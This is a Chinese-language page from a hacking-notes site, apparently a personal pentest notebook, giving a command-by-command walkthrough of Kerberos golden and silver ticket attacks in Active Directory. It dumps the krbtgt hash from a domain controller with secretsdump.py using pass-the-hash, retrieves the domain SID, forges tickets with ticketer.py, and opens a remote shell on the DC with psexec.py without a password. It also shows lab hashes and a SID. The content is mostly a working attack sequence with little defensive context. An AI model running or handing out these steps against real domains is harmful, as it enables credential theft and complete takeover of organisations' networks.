> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos 金票和银票

针对 Kerberos 金票和银票的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

目标是伪造我们自己的 Kerberos 票据。

为此，我们首先从域控制器中获取所需的密钥。

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aef15ce41e6c9ae401a31c87e18238b09f4722ee%2Fimage%20(13).png?alt=media" alt=""><figcaption></figcaption></figure>

这里我们获取以下内容的哈希： `krbtgt` 账户。

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f085da3b01c5617ba74626fe7d02afc3519552f5%2Fimage%20(14).png?alt=media" alt=""><figcaption></figcaption></figure>

我们还获取 `域 SID`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab401e3a160b1e7cbcfdb43ef8c8a4f1fd17153%2Fimage%20(15).png?alt=media" alt=""><figcaption></figcaption></figure>

通过 `ticketer.py` 我们就可以为该账户生成一张黄金票据。

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

然后我们将这张票据加载到本地 Kerberos 缓存中。

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea9ee52ab8a87f59a1ec93c2bfa824e6d303059c%2Fimage%20(17).png?alt=media" alt=""><figcaption></figcaption></figure>

一旦票据加载完成，我们就可以在无需密码的情况下远程登录。

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-208aa6b05cfe0b82667b0bfaa8028c10fdd09fd1%2Fimage%20(18).png?alt=media" alt=""><figcaption></figcaption></figure>

生成银票据时，原理相同，但票据是针对某个特定服务的。

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69c312def487a63af1bea798d578f0cc08dcb6fd%2Fimage%20(20).png?alt=media" alt=""><figcaption></figcaption></figure>


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